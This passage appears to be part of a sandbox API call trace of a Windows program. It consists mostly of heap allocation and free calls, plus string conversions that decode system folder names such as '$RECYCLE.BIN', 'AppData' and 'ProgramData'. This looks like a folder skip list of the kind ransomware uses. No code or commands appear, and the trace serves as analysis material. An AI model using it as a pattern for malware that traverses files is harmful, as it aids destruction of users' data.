RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d5e8 [0038.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d258 [0038.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d268 [0038.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d278 [0038.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c240 [0038.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d288 [0038.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x20) returned 0x94bc08 [0038.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d5e8) returned 1 [0038.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d298 [0038.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c168 [0038.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2d8 [0038.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1b0 [0038.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2c8 [0038.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1f8 [0038.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c5e8) returned 1 [0038.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d248) returned 1 [0038.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c630) returned 1 [0038.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d238) returned 1 [0038.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c678) returned 1 [0038.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d228) returned 1 [0038.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c6c0) returned 1 [0038.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d218) returned 1 [0038.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c708) returned 1 [0038.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d208) returned 1 [0038.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c750) returned 1 [0038.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d1e8) returned 1 [0038.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c798) returned 1 [0038.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d1f8) returned 1 [0038.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5058) returned 1 [0038.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x20) returned 0x9d5058 [0038.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d1f8 [0038.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c798 [0038.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d1e8 [0038.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c750 [0038.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d208 [0038.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c708 [0038.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d218 [0038.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c6c0 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d228 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c678 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d238 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c630 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d248 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c5e8 [0038.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d258) returned 1 [0038.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d268) returned 1 [0038.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c240) returned 1 [0038.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d278) returned 1 [0038.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d288) returned 1 [0038.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c168) returned 1 [0038.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d298) returned 1 [0038.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1b0) returned 1 [0038.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2d8) returned 1 [0038.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1f8) returned 1 [0038.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2c8) returned 1 [0038.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bc08) returned 1 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x20) returned 0x94bc08 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2c8 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1f8 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2d8 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1b0 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d298 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c168 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d288 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d278 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c240 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d268 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d258 [0038.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c798) returned 1 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d1f8) returned 1 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c750) returned 1 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d1e8) returned 1 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c708) returned 1 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d208) returned 1 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c6c0) returned 1 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d218) returned 1 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c678) returned 1 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d228) returned 1 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c630) returned 1 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d238) returned 1 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c5e8) returned 1 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d248) returned 1 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5058) returned 1 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2850) returned 1 [0038.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0038.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94dae0 [0038.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c1f8, cbMultiByte=25, lpWideCharStr=0x94dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0038.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94db68 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94dae0) returned 1 [0038.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d5e8 [0038.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d248 [0038.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94dae0 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94db68) returned 1 [0038.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0038.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94db68 [0038.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c1b0, cbMultiByte=12, lpWideCharStr=0x94db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0038.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94dbf0 [0038.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94db68) returned 1 [0038.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d238 [0038.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94db68 [0038.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94dbf0) returned 1 [0038.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0038.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94dbf0 [0038.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c168, cbMultiByte=8, lpWideCharStr=0x94dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0038.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94dc78 [0038.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94dbf0) returned 1 [0038.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d228 [0038.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94dbf0 [0038.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94dc78) returned 1 [0038.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0038.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94dc78 [0038.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c120, cbMultiByte=6, lpWideCharStr=0x94dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0038.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94dd00 [0038.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94dc78) returned 1 [0038.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d218 [0038.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94dc78 [0038.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94dd00) returned 1 [0038.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0038.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94dd00 [0038.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c240, cbMultiByte=11, lpWideCharStr=0x94dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0038.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94dd88 [0038.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94dd00) returned 1 [0038.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x20) returned 0x94dd00 [0038.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d5e8) returned 1 [0038.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d208 [0038.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94de28 [0038.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94dd88) returned 1 [0038.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0038.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94deb0 [0038.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c0d8, cbMultiByte=7, lpWideCharStr=0x94deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0038.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94df38 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94deb0) returned 1 [0038.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d1e8 [0038.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94deb0 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94df38) returned 1 [0038.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0038.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94df38 [0038.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c288, cbMultiByte=11, lpWideCharStr=0x94df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0038.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94dfc0 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94df38) returned 1 [0038.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d1f8 [0038.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94df38 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94dfc0) returned 1 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1f8) returned 1 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2c8) returned 1 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1b0) returned 1 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2d8) returned 1 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c168) returned 1 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d298) returned 1 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d288) returned 1 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c240) returned 1 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d278) returned 1 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d268) returned 1 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d258) returned 1 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bc08) returned 1 [0038.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2800) returned 0x9d2850 [0038.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d5e8 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d258 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d258) returned 1 [0038.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d5e8) returned 1 [0038.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2850) returned 1 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2800) returned 0x9d2850 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d5e8 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d258 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d268 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c240 [0038.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d278 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d288 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d618 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d298 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c168 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2d8 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1b0 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2c8 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1f8 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2e8 [0038.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c5e8 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d258) returned 1 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c240) returned 1 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d268) returned 1 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d278) returned 1 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d288) returned 1 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d5e8) returned 1 [0038.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d5e8 [0038.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d288 [0038.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d278 [0038.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d268 [0038.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c240 [0038.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d258 [0038.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c168) returned 1 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d298) returned 1 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1b0) returned 1 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2d8) returned 1 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1f8) returned 1 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2c8) returned 1 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c5e8) returned 1 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d2e8) returned 1 [0038.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d618) returned 1 [0038.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d618 [0038.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2e8 [0038.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c5e8 [0038.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2c8 [0038.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1f8 [0038.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2d8 [0038.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1b0 [0038.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d298 [0038.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c168 [0038.281] RtlFreeHeap 